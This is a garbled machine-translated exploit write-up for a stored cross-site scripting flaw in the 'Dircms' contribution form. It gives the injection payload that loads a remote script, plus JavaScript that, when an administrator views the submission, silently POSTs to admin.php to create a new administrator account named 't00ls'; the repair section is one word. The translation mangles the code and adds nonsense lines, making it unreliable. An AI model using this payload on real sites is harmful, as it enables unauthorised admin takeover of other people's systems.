Dircms XSS vulnerabilities, utilization methods, and repair

XSS vulnerability files:
Http: // 127.0.0.1/post/index. php? Catid = 49
Online contribution function
In this way, you do not need to register a member and send a new draft, so that many sites do not permit Member registration.
View the code in the classic dialog box

1 $ info [content] = add_alt ($ info [content], $ info [title]); /// // The ALT label is automatically added.

2 $ info [title] = sub_string ($ info [title], 160,); // title

3 $ info [keywords] = sub_string ($ info [keywords], 100,); // keyword

4 $ info [content] = stripslashes ($ info [content]); // The content is not filtered using sub_string

5 $ info [status] = in_array ($ _ groupid, $ passpriv) | $ _ groupid = 1? 1:0;
See sub_string again.

1 function sub_string ($ string, $ length, $ dot =)

2 {

3 $ string = trim ($ string );

4 $ strlen = strlen ($ string );

5 if ($ strlen <= $ length) return $ string;

6 $ string = str_replace (array (& nbsp;, & amp;, & quot;, & #039;, & ldquo;, & rdquo;, & mdash ;, & lt;, & gt;, & middot;, & hellip;), array (, &, "," ",-, <,> ,·, ...), $ String); // escape-0 -! It would be better if the title is not converted ......
Use methods to point the source code in FCKEDIT
Then write <script src = "http: // 127.0.0.1/1.js" </script>
It's easy to take a piece of tofu and commit suicide.

Then wait for the Administrator to view the contributed articles (you can work with them) to trigger XSS attacks.
For remote JS writing, the content length is limited to 500. You do not need to call remote writing.

1 var oReq = new ActiveXObject ("MSXML2.XMLHTTP ");

2 var str = "do_submit = 1 & newadmin [username] = t00ls & newadmin [allowmultilogin] = 1 & newadmin [roleid] = 1 & newadmin [disabled] = 0 ";

3 oReq. open ("POST", "http: // 127.0.0.1/admin. php? File = admin & action = add ", false );

4 oReq. setRequestHeader ("Content-Length", str. length );

5 oReq. setRequestHeader ("CONTENT-TYPE", "application/x-www-form-urlencoded ");

6 oReq. send (str );

Newadmin [username] = t00ls can be upgraded to administrator permissions when registering an account for a member.

Fix: Filter